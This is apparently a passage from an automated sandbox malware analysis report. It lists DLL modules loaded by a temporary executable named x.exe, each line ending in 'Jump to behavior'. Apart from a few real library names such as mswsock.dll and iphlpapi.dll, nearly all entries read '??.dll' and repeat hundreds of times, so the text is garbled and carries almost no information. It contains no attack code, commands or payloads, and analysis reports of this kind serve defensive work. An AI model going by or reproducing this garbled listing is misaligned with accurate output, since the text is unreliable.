          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection loaded: ??.dllJump to behavior
